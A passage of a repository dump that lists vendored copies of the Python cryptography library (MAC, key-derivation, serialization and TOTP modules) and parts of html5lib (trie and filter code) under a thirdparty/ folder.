the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography.hazmat.primitives.ciphers.base import ( 8 | AEADCipherContext, 9 | AEADDecryptionContext, 10 | AEADEncryptionContext, 11 | BlockCipherAlgorithm, 12 | Cipher, 13 | CipherAlgorithm, 14 | CipherContext, 15 | ) 16 | 17 | 18 | __all__ = [ 19 | "Cipher", 20 | "CipherAlgorithm", 21 | "BlockCipherAlgorithm", 22 | "CipherContext", 23 | "AEADCipherContext", 24 | "AEADDecryptionContext", 25 | "AEADEncryptionContext", 26 | ] 27 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/cmac.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography import utils 8 | from thirdparty.cryptography.exceptions import ( 9 | AlreadyFinalized, 10 | UnsupportedAlgorithm, 11 | _Reasons, 12 | ) 13 | from thirdparty.cryptography.hazmat.backends import _get_backend 14 | from thirdparty.cryptography.hazmat.backends.interfaces import CMACBackend 15 | from thirdparty.cryptography.hazmat.primitives import ciphers 16 | 17 | 18 | class CMAC(object): 19 | def __init__(self, algorithm, backend=None, ctx=None): 20 | backend = _get_backend(backend) 21 | if not isinstance(backend, CMACBackend): 22 | raise UnsupportedAlgorithm( 23 | "Backend object does not implement CMACBackend.", 24 | _Reasons.BACKEND_MISSING_INTERFACE, 25 | ) 26 | 27 | if not isinstance(algorithm, ciphers.BlockCipherAlgorithm): 28 | raise TypeError("Expected instance of BlockCipherAlgorithm.") 29 | self._algorithm = algorithm 30 | 31 | self._backend = backend 32 | if ctx is None: 33 | self._ctx = self._backend.create_cmac_ctx(self._algorithm) 34 | else: 35 | self._ctx = ctx 36 | 37 | def update(self, data): 38 | if self._ctx is None: 39 | raise AlreadyFinalized("Context was already finalized.") 40 | 41 | utils._check_bytes("data", data) 42 | self._ctx.update(data) 43 | 44 | def finalize(self): 45 | if self._ctx is None: 46 | raise AlreadyFinalized("Context was already finalized.") 47 | digest = self._ctx.finalize() 48 | self._ctx = None 49 | return digest 50 | 51 | def verify(self, signature): 52 | utils._check_bytes("signature", signature) 53 | if self._ctx is None: 54 | raise AlreadyFinalized("Context was already finalized.") 55 | 56 | ctx, self._ctx = self._ctx, None 57 | ctx.verify(signature) 58 | 59 | def copy(self): 60 | if self._ctx is None: 61 | raise AlreadyFinalized("Context was already finalized.") 62 | return CMAC( 63 | self._algorithm, backend=self._backend, ctx=self._ctx.copy() 64 | ) 65 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/constant_time.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import hmac 8 | 9 | 10 | def bytes_eq(a, b): 11 | if not isinstance(a, bytes) or not isinstance(b, bytes): 12 | raise TypeError("a and b must be bytes.") 13 | 14 | return hmac.compare_digest(a, b) 15 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/hmac.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography import utils 8 | from thirdparty.cryptography.exceptions import ( 9 | AlreadyFinalized, 10 | UnsupportedAlgorithm, 11 | _Reasons, 12 | ) 13 | from thirdparty.cryptography.hazmat.backends import _get_backend 14 | from thirdparty.cryptography.hazmat.backends.interfaces import HMACBackend 15 | from thirdparty.cryptography.hazmat.primitives import hashes 16 | 17 | 18 | @utils.register_interface(hashes.HashContext) 19 | class HMAC(object): 20 | def __init__(self, key, algorithm, backend=None, ctx=None): 21 | backend = _get_backend(backend) 22 | if not isinstance(backend, HMACBackend): 23 | raise UnsupportedAlgorithm( 24 | "Backend object does not implement HMACBackend.", 25 | _Reasons.BACKEND_MISSING_INTERFACE, 26 | ) 27 | 28 | if not isinstance(algorithm, hashes.HashAlgorithm): 29 | raise TypeError("Expected instance of hashes.HashAlgorithm.") 30 | self._algorithm = algorithm 31 | 32 | self._backend = backend 33 | self._key = key 34 | if ctx is None: 35 | self._ctx = self._backend.create_hmac_ctx(key, self.algorithm) 36 | else: 37 | self._ctx = ctx 38 | 39 | algorithm = utils.read_only_property("_algorithm") 40 | 41 | def update(self, data): 42 | if self._ctx is None: 43 | raise AlreadyFinalized("Context was already finalized.") 44 | utils._check_byteslike("data", data) 45 | self._ctx.update(data) 46 | 47 | def copy(self): 48 | if self._ctx is None: 49 | raise AlreadyFinalized("Context was already finalized.") 50 | return HMAC( 51 | self._key, 52 | self.algorithm, 53 | backend=self._backend, 54 | ctx=self._ctx.copy(), 55 | ) 56 | 57 | def finalize(self): 58 | if self._ctx is None: 59 | raise AlreadyFinalized("Context was already finalized.") 60 | digest = self._ctx.finalize() 61 | self._ctx = None 62 | return digest 63 | 64 | def verify(self, signature): 65 | utils._check_bytes("signature", signature) 66 | if self._ctx is None: 67 | raise AlreadyFinalized("Context was already finalized.") 68 | 69 | ctx, self._ctx = self._ctx, None 70 | ctx.verify(signature) 71 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/kdf/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | 9 | import six 10 | 11 | 12 | @six.add_metaclass(abc.ABCMeta) 13 | class KeyDerivationFunction(object): 14 | @abc.abstractmethod 15 | def derive(self, key_material): 16 | """ 17 | Deterministically generates and returns a new key based on the existing 18 | key material. 19 | """ 20 | 21 | @abc.abstractmethod 22 | def verify(self, key_material, expected_key): 23 | """ 24 | Checks whether the key generated by the key material matches the 25 | expected derived key. Raises an exception if they do not match. 26 | """ 27 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/kdf/pbkdf2.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography import utils 8 | from thirdparty.cryptography.exceptions import ( 9 | AlreadyFinalized, 10 | InvalidKey, 11 | UnsupportedAlgorithm, 12 | _Reasons, 13 | ) 14 | from thirdparty.cryptography.hazmat.backends import _get_backend 15 | from thirdparty.cryptography.hazmat.backends.interfaces import PBKDF2HMACBackend 16 | from thirdparty.cryptography.hazmat.primitives import constant_time 17 | from thirdparty.cryptography.hazmat.primitives.kdf import KeyDerivationFunction 18 | 19 | 20 | @utils.register_interface(KeyDerivationFunction) 21 | class PBKDF2HMAC(object): 22 | def __init__(self, algorithm, length, salt, iterations, backend=None): 23 | backend = _get_backend(backend) 24 | if not isinstance(backend, PBKDF2HMACBackend): 25 | raise UnsupportedAlgorithm( 26 | "Backend object does not implement PBKDF2HMACBackend.", 27 | _Reasons.BACKEND_MISSING_INTERFACE, 28 | ) 29 | 30 | if not backend.pbkdf2_hmac_supported(algorithm): 31 | raise UnsupportedAlgorithm( 32 | "{} is not supported for PBKDF2 by this backend.".format( 33 | algorithm.name 34 | ), 35 | _Reasons.UNSUPPORTED_HASH, 36 | ) 37 | self._used = False 38 | self._algorithm = algorithm 39 | self._length = length 40 | utils._check_bytes("salt", salt) 41 | self._salt = salt 42 | self._iterations = iterations 43 | self._backend = backend 44 | 45 | def derive(self, key_material): 46 | if self._used: 47 | raise AlreadyFinalized("PBKDF2 instances can only be used once.") 48 | self._used = True 49 | 50 | utils._check_byteslike("key_material", key_material) 51 | return self._backend.derive_pbkdf2_hmac( 52 | self._algorithm, 53 | self._length, 54 | self._salt, 55 | self._iterations, 56 | key_material, 57 | ) 58 | 59 | def verify(self, key_material, expected_key): 60 | derived_key = self.derive(key_material) 61 | if not constant_time.bytes_eq(derived_key, expected_key): 62 | raise InvalidKey("Keys do not match.") 63 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/kdf/scrypt.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import sys 8 | 9 | from thirdparty.cryptography import utils 10 | from thirdparty.cryptography.exceptions import ( 11 | AlreadyFinalized, 12 | InvalidKey, 13 | UnsupportedAlgorithm, 14 | _Reasons, 15 | ) 16 | from thirdparty.cryptography.hazmat.backends import _get_backend 17 | from thirdparty.cryptography.hazmat.backends.interfaces import ScryptBackend 18 | from thirdparty.cryptography.hazmat.primitives import constant_time 19 | from thirdparty.cryptography.hazmat.primitives.kdf import KeyDerivationFunction 20 | 21 | 22 | # This is used by the scrypt tests to skip tests that require more memory 23 | # than the MEM_LIMIT 24 | _MEM_LIMIT = sys.maxsize // 2 25 | 26 | 27 | @utils.register_interface(KeyDerivationFunction) 28 | class Scrypt(object): 29 | def __init__(self, salt, length, n, r, p, backend=None): 30 | backend = _get_backend(backend) 31 | if not isinstance(backend, ScryptBackend): 32 | raise UnsupportedAlgorithm( 33 | "Backend object does not implement ScryptBackend.", 34 | _Reasons.BACKEND_MISSING_INTERFACE, 35 | ) 36 | 37 | self._length = length 38 | utils._check_bytes("salt", salt) 39 | if n < 2 or (n & (n - 1)) != 0: 40 | raise ValueError("n must be greater than 1 and be a power of 2.") 41 | 42 | if r < 1: 43 | raise ValueError("r must be greater than or equal to 1.") 44 | 45 | if p < 1: 46 | raise ValueError("p must be greater than or equal to 1.") 47 | 48 | self._used = False 49 | self._salt = salt 50 | self._n = n 51 | self._r = r 52 | self._p = p 53 | self._backend = backend 54 | 55 | def derive(self, key_material): 56 | if self._used: 57 | raise AlreadyFinalized("Scrypt instances can only be used once.") 58 | self._used = True 59 | 60 | utils._check_byteslike("key_material", key_material) 61 | return self._backend.derive_scrypt( 62 | key_material, self._salt, self._length, self._n, self._r, self._p 63 | ) 64 | 65 | def verify(self, key_material, expected_key): 66 | derived_key = self.derive(key_material) 67 | if not constant_time.bytes_eq(derived_key, expected_key): 68 | raise InvalidKey("Keys do not match.") 69 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/kdf/x963kdf.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import struct 8 | 9 | from thirdparty.cryptography import utils 10 | from thirdparty.cryptography.exceptions import ( 11 | AlreadyFinalized, 12 | InvalidKey, 13 | UnsupportedAlgorithm, 14 | _Reasons, 15 | ) 16 | from thirdparty.cryptography.hazmat.backends import _get_backend 17 | from thirdparty.cryptography.hazmat.backends.interfaces import HashBackend 18 | from thirdparty.cryptography.hazmat.primitives import constant_time, hashes 19 | from thirdparty.cryptography.hazmat.primitives.kdf import KeyDerivationFunction 20 | 21 | 22 | def _int_to_u32be(n): 23 | return struct.pack(">I", n) 24 | 25 | 26 | @utils.register_interface(KeyDerivationFunction) 27 | class X963KDF(object): 28 | def __init__(self, algorithm, length, sharedinfo, backend=None): 29 | backend = _get_backend(backend) 30 | 31 | max_len = algorithm.digest_size * (2 ** 32 - 1) 32 | if length > max_len: 33 | raise ValueError( 34 | "Can not derive keys larger than {} bits.".format(max_len) 35 | ) 36 | if sharedinfo is not None: 37 | utils._check_bytes("sharedinfo", sharedinfo) 38 | 39 | self._algorithm = algorithm 40 | self._length = length 41 | self._sharedinfo = sharedinfo 42 | 43 | if not isinstance(backend, HashBackend): 44 | raise UnsupportedAlgorithm( 45 | "Backend object does not implement HashBackend.", 46 | _Reasons.BACKEND_MISSING_INTERFACE, 47 | ) 48 | self._backend = backend 49 | self._used = False 50 | 51 | def derive(self, key_material): 52 | if self._used: 53 | raise AlreadyFinalized 54 | self._used = True 55 | utils._check_byteslike("key_material", key_material) 56 | output = [b""] 57 | outlen = 0 58 | counter = 1 59 | 60 | while self._length > outlen: 61 | h = hashes.Hash(self._algorithm, self._backend) 62 | h.update(key_material) 63 | h.update(_int_to_u32be(counter)) 64 | if self._sharedinfo is not None: 65 | h.update(self._sharedinfo) 66 | output.append(h.finalize()) 67 | outlen += len(output[-1]) 68 | counter += 1 69 | 70 | return b"".join(output)[: self._length] 71 | 72 | def verify(self, key_material, expected_key): 73 | if not constant_time.bytes_eq(self.derive(key_material), expected_key): 74 | raise InvalidKey 75 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/poly1305.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | 8 | from thirdparty.cryptography import utils 9 | from thirdparty.cryptography.exceptions import ( 10 | AlreadyFinalized, 11 | UnsupportedAlgorithm, 12 | _Reasons, 13 | ) 14 | 15 | 16 | class Poly1305(object): 17 | def __init__(self, key): 18 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 19 | 20 | if not backend.poly1305_supported(): 21 | raise UnsupportedAlgorithm( 22 | "poly1305 is not supported by this version of OpenSSL.", 23 | _Reasons.UNSUPPORTED_MAC, 24 | ) 25 | self._ctx = backend.create_poly1305_ctx(key) 26 | 27 | def update(self, data): 28 | if self._ctx is None: 29 | raise AlreadyFinalized("Context was already finalized.") 30 | utils._check_byteslike("data", data) 31 | self._ctx.update(data) 32 | 33 | def finalize(self): 34 | if self._ctx is None: 35 | raise AlreadyFinalized("Context was already finalized.") 36 | mac = self._ctx.finalize() 37 | self._ctx = None 38 | return mac 39 | 40 | def verify(self, tag): 41 | utils._check_bytes("tag", tag) 42 | if self._ctx is None: 43 | raise AlreadyFinalized("Context was already finalized.") 44 | 45 | ctx, self._ctx = self._ctx, None 46 | ctx.verify(tag) 47 | 48 | @classmethod 49 | def generate_tag(cls, key, data): 50 | p = Poly1305(key) 51 | p.update(data) 52 | return p.finalize() 53 | 54 | @classmethod 55 | def verify_tag(cls, key, data, tag): 56 | p = Poly1305(key) 57 | p.update(data) 58 | p.verify(tag) 59 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/serialization/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography.hazmat.primitives.serialization.base import ( 8 | BestAvailableEncryption, 9 | Encoding, 10 | KeySerializationEncryption, 11 | NoEncryption, 12 | ParameterFormat, 13 | PrivateFormat, 14 | PublicFormat, 15 | load_der_parameters, 16 | load_der_private_key, 17 | load_der_public_key, 18 | load_pem_parameters, 19 | load_pem_private_key, 20 | load_pem_public_key, 21 | ) 22 | from thirdparty.cryptography.hazmat.primitives.serialization.ssh import ( 23 | load_ssh_private_key, 24 | load_ssh_public_key, 25 | ) 26 | 27 | 28 | __all__ = [ 29 | "load_der_parameters", 30 | "load_der_private_key", 31 | "load_der_public_key", 32 | "load_pem_parameters", 33 | "load_pem_private_key", 34 | "load_pem_public_key", 35 | "load_ssh_private_key", 36 | "load_ssh_public_key", 37 | "Encoding", 38 | "PrivateFormat", 39 | "PublicFormat", 40 | "ParameterFormat", 41 | "KeySerializationEncryption", 42 | "BestAvailableEncryption", 43 | "NoEncryption", 44 | ] 45 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/serialization/base.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | from enum import Enum 9 | 10 | import six 11 | 12 | from thirdparty.cryptography import utils 13 | from thirdparty.cryptography.hazmat.backends import _get_backend 14 | 15 | 16 | def load_pem_private_key(data, password, backend=None): 17 | backend = _get_backend(backend) 18 | return backend.load_pem_private_key(data, password) 19 | 20 | 21 | def load_pem_public_key(data, backend=None): 22 | backend = _get_backend(backend) 23 | return backend.load_pem_public_key(data) 24 | 25 | 26 | def load_pem_parameters(data, backend=None): 27 | backend = _get_backend(backend) 28 | return backend.load_pem_parameters(data) 29 | 30 | 31 | def load_der_private_key(data, password, backend=None): 32 | backend = _get_backend(backend) 33 | return backend.load_der_private_key(data, password) 34 | 35 | 36 | def load_der_public_key(data, backend=None): 37 | backend = _get_backend(backend) 38 | return backend.load_der_public_key(data) 39 | 40 | 41 | def load_der_parameters(data, backend=None): 42 | backend = _get_backend(backend) 43 | return backend.load_der_parameters(data) 44 | 45 | 46 | class Encoding(Enum): 47 | PEM = "PEM" 48 | DER = "DER" 49 | OpenSSH = "OpenSSH" 50 | Raw = "Raw" 51 | X962 = "ANSI X9.62" 52 | SMIME = "S/MIME" 53 | 54 | 55 | class PrivateFormat(Enum): 56 | PKCS8 = "PKCS8" 57 | TraditionalOpenSSL = "TraditionalOpenSSL" 58 | Raw = "Raw" 59 | OpenSSH = "OpenSSH" 60 | 61 | 62 | class PublicFormat(Enum): 63 | SubjectPublicKeyInfo = "X.509 subjectPublicKeyInfo with PKCS#1" 64 | PKCS1 = "Raw PKCS#1" 65 | OpenSSH = "OpenSSH" 66 | Raw = "Raw" 67 | CompressedPoint = "X9.62 Compressed Point" 68 | UncompressedPoint = "X9.62 Uncompressed Point" 69 | 70 | 71 | class ParameterFormat(Enum): 72 | PKCS3 = "PKCS3" 73 | 74 | 75 | @six.add_metaclass(abc.ABCMeta) 76 | class KeySerializationEncryption(object): 77 | pass 78 | 79 | 80 | @utils.register_interface(KeySerializationEncryption) 81 | class BestAvailableEncryption(object): 82 | def __init__(self, password): 83 | if not isinstance(password, bytes) or len(password) == 0: 84 | raise ValueError("Password must be 1 or more bytes.") 85 | 86 | self.password = password 87 | 88 | 89 | @utils.register_interface(KeySerializationEncryption) 90 | class NoEncryption(object): 91 | pass 92 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/serialization/pkcs12.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography import x509 8 | from thirdparty.cryptography.hazmat.backends import _get_backend 9 | from thirdparty.cryptography.hazmat.primitives import serialization 10 | from thirdparty.cryptography.hazmat.primitives.asymmetric import dsa, ec, rsa 11 | 12 | 13 | def load_key_and_certificates(data, password, backend=None): 14 | backend = _get_backend(backend) 15 | return backend.load_key_and_certificates_from_pkcs12(data, password) 16 | 17 | 18 | def serialize_key_and_certificates(name, key, cert, cas, encryption_algorithm): 19 | if key is not None and not isinstance( 20 | key, 21 | ( 22 | rsa.RSAPrivateKeyWithSerialization, 23 | dsa.DSAPrivateKeyWithSerialization, 24 | ec.EllipticCurvePrivateKeyWithSerialization, 25 | ), 26 | ): 27 | raise TypeError("Key must be RSA, DSA, or EllipticCurve private key.") 28 | if cert is not None and not isinstance(cert, x509.Certificate): 29 | raise TypeError("cert must be a certificate") 30 | 31 | if cas is not None: 32 | cas = list(cas) 33 | if not all(isinstance(val, x509.Certificate) for val in cas): 34 | raise TypeError("all values in cas must be certificates") 35 | 36 | if not isinstance( 37 | encryption_algorithm, serialization.KeySerializationEncryption 38 | ): 39 | raise TypeError( 40 | "Key encryption algorithm must be a " 41 | "KeySerializationEncryption instance" 42 | ) 43 | 44 | if key is None and cert is None and not cas: 45 | raise ValueError("You must supply at least one of key, cert, or cas") 46 | 47 | backend = _get_backend(None) 48 | return backend.serialize_key_and_certificates_to_pkcs12( 49 | name, key, cert, cas, encryption_algorithm 50 | ) 51 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/twofactor/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | 8 | class InvalidToken(Exception): 9 | pass 10 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/twofactor/totp.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography.exceptions import UnsupportedAlgorithm, _Reasons 8 | from thirdparty.cryptography.hazmat.backends import _get_backend 9 | from thirdparty.cryptography.hazmat.backends.interfaces import HMACBackend 10 | from thirdparty.cryptography.hazmat.primitives import constant_time 11 | from thirdparty.cryptography.hazmat.primitives.twofactor import InvalidToken 12 | from thirdparty.cryptography.hazmat.primitives.twofactor.hotp import HOTP 13 | from thirdparty.cryptography.hazmat.primitives.twofactor.utils import _generate_uri 14 | 15 | 16 | class TOTP(object): 17 | def __init__( 18 | self, 19 | key, 20 | length, 21 | algorithm, 22 | time_step, 23 | backend=None, 24 | enforce_key_length=True, 25 | ): 26 | backend = _get_backend(backend) 27 | if not isinstance(backend, HMACBackend): 28 | raise UnsupportedAlgorithm( 29 | "Backend object does not implement HMACBackend.", 30 | _Reasons.BACKEND_MISSING_INTERFACE, 31 | ) 32 | 33 | self._time_step = time_step 34 | self._hotp = HOTP(key, length, algorithm, backend, enforce_key_length) 35 | 36 | def generate(self, time): 37 | counter = int(time / self._time_step) 38 | return self._hotp.generate(counter) 39 | 40 | def verify(self, totp, time): 41 | if not constant_time.bytes_eq(self.generate(time), totp): 42 | raise InvalidToken("Supplied TOTP value does not match.") 43 | 44 | def get_provisioning_uri(self, account_name, issuer): 45 | return _generate_uri( 46 | self._hotp, 47 | "totp", 48 | account_name, 49 | issuer, 50 | [("period", int(self._time_step))], 51 | ) 52 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/twofactor/utils.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import base64 8 | 9 | from six.moves.urllib.parse import quote, urlencode 10 | 11 | 12 | def _generate_uri(hotp, type_name, account_name, issuer, extra_parameters): 13 | parameters = [ 14 | ("digits", hotp._length), 15 | ("secret", base64.b32encode(hotp._key)), 16 | ("algorithm", hotp._algorithm.name.upper()), 17 | ] 18 | 19 | if issuer is not None: 20 | parameters.append(("issuer", issuer)) 21 | 22 | parameters.extend(extra_parameters) 23 | 24 | uriparts = { 25 | "type": type_name, 26 | "label": ( 27 | "%s:%s" % (quote(issuer), quote(account_name)) 28 | if issuer 29 | else quote(account_name) 30 | ), 31 | "parameters": urlencode(parameters), 32 | } 33 | return "otpauth://{type}/{label}?{parameters}".format(**uriparts) 34 | -------------------------------------------------------------------------------- /thirdparty/cryptography/x509/certificate_transparency.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | from enum import Enum 9 | 10 | import six 11 | 12 | 13 | class LogEntryType(Enum): 14 | X509_CERTIFICATE = 0 15 | PRE_CERTIFICATE = 1 16 | 17 | 18 | class Version(Enum): 19 | v1 = 0 20 | 21 | 22 | @six.add_metaclass(abc.ABCMeta) 23 | class SignedCertificateTimestamp(object): 24 | @abc.abstractproperty 25 | def version(self): 26 | """ 27 | Returns the SCT version. 28 | """ 29 | 30 | @abc.abstractproperty 31 | def log_id(self): 32 | """ 33 | Returns an identifier indicating which log this SCT is for. 34 | """ 35 | 36 | @abc.abstractproperty 37 | def timestamp(self): 38 | """ 39 | Returns the timestamp for this SCT. 40 | """ 41 | 42 | @abc.abstractproperty 43 | def entry_type(self): 44 | """ 45 | Returns whether this is an SCT for a certificate or pre-certificate. 46 | """ 47 | -------------------------------------------------------------------------------- /thirdparty/html5lib/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | HTML parsing library based on the `WHATWG HTML specification 3 | `_. The parser is designed to be compatible with 4 | existing HTML found in the wild and implements well-defined error recovery that 5 | is largely compatible with modern desktop web browsers. 6 | 7 | Example usage:: 8 | 9 | import html5lib 10 | with open("my_document.html", "rb") as f: 11 | tree = html5lib.parse(f) 12 | 13 | For convenience, this module re-exports the following names: 14 | 15 | * :func:`~.html5parser.parse` 16 | * :func:`~.html5parser.parseFragment` 17 | * :class:`~.html5parser.HTMLParser` 18 | * :func:`~.treebuilders.getTreeBuilder` 19 | * :func:`~.treewalkers.getTreeWalker` 20 | * :func:`~.serializer.serialize` 21 | """ 22 | 23 | from __future__ import absolute_import, division, unicode_literals 24 | 25 | from .html5parser import HTMLParser, parse, parseFragment 26 | from .treebuilders import getTreeBuilder 27 | from .treewalkers import getTreeWalker 28 | from .serializer import serialize 29 | 30 | __all__ = ["HTMLParser", "parse", "parseFragment", "getTreeBuilder", 31 | "getTreeWalker", "serialize"] 32 | 33 | # this has to be at the top level, see how setup.py parses this 34 | #: Distribution version number. 35 | __version__ = "1.1" 36 | -------------------------------------------------------------------------------- /thirdparty/html5lib/_trie/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | from .py import Trie 4 | 5 | __all__ = ["Trie"] 6 | -------------------------------------------------------------------------------- /thirdparty/html5lib/_trie/_base.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | try: 4 | from collections.abc import Mapping 5 | except ImportError: # Python 2.7 6 | from collections import Mapping 7 | 8 | 9 | class Trie(Mapping): 10 | """Abstract base class for tries""" 11 | 12 | def keys(self, prefix=None): 13 | # pylint:disable=arguments-differ 14 | keys = super(Trie, self).keys() 15 | 16 | if prefix is None: 17 | return set(keys) 18 | 19 | return {x for x in keys if x.startswith(prefix)} 20 | 21 | def has_keys_with_prefix(self, prefix): 22 | for key in self.keys(): 23 | if key.startswith(prefix): 24 | return True 25 | 26 | return False 27 | 28 | def longest_prefix(self, prefix): 29 | if prefix in self: 30 | return prefix 31 | 32 | for i in range(1, len(prefix) + 1): 33 | if prefix[:-i] in self: 34 | return prefix[:-i] 35 | 36 | raise KeyError(prefix) 37 | 38 | def longest_prefix_item(self, prefix): 39 | lprefix = self.longest_prefix(prefix) 40 | return (lprefix, self[lprefix]) 41 | -------------------------------------------------------------------------------- /thirdparty/html5lib/_trie/py.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | from six import text_type 3 | 4 | from bisect import bisect_left 5 | 6 | from ._base import Trie as ABCTrie 7 | 8 | 9 | class Trie(ABCTrie): 10 | def __init__(self, data): 11 | if not all(isinstance(x, text_type) for x in data.keys()): 12 | raise TypeError("All keys must be strings") 13 | 14 | self._data = data 15 | self._keys = sorted(data.keys()) 16 | self._cachestr = "" 17 | self._cachepoints = (0, len(data)) 18 | 19 | def __contains__(self, key): 20 | return key in self._data 21 | 22 | def __len__(self): 23 | return len(self._data) 24 | 25 | def __iter__(self): 26 | return iter(self._data) 27 | 28 | def __getitem__(self, key): 29 | return self._data[key] 30 | 31 | def keys(self, prefix=None): 32 | if prefix is None or prefix == "" or not self._keys: 33 | return set(self._keys) 34 | 35 | if prefix.startswith(self._cachestr): 36 | lo, hi = self._cachepoints 37 | start = i = bisect_left(self._keys, prefix, lo, hi) 38 | else: 39 | start = i = bisect_left(self._keys, prefix) 40 | 41 | keys = set() 42 | if start == len(self._keys): 43 | return keys 44 | 45 | while self._keys[i].startswith(prefix): 46 | keys.add(self._keys[i]) 47 | i += 1 48 | 49 | self._cachestr = prefix 50 | self._cachepoints = (start, i) 51 | 52 | return keys 53 | 54 | def has_keys_with_prefix(self, prefix): 55 | if prefix in self._data: 56 | return True 57 | 58 | if prefix.startswith(self._cachestr): 59 | lo, hi = self._cachepoints 60 | i = bisect_left(self._keys, prefix, lo, hi) 61 | else: 62 | i = bisect_left(self._keys, prefix) 63 | 64 | if i == len(self._keys): 65 | return False 66 | 67 | return self._keys[i].startswith(prefix) 68 | -------------------------------------------------------------------------------- /thirdparty/html5lib/filters/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/html5lib/filters/__init__.py -------------------------------------------------------------------------------- /thirdparty/html5lib/filters/alphabeticalattributes.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import, division, unicode_literals 2 | 3 | from . import base 4 | 5 | from collections import OrderedDict 6 | 7 | 8 | def _attr_key(attr): 9 | """Return an appropriate key for an attribute for sorting 10 | 11 | Attributes have a namespace that can be either ``None`` or a string. We 12 | can't compare the two because they're different types, so we convert 13 | ``None`` to an empty string first. 14 | 15 | """ 16 | return (attr[0][0] or ''), attr[0][1] 17 | 18 | 19 | class Filter(base.Filter): 20 | """Alphabetizes attributes for elements""" 21 | def __iter__(self): 22 | for token in base.Filter.__iter__(self): 23 | if token["type"] in ("StartTag", "EmptyTag"): 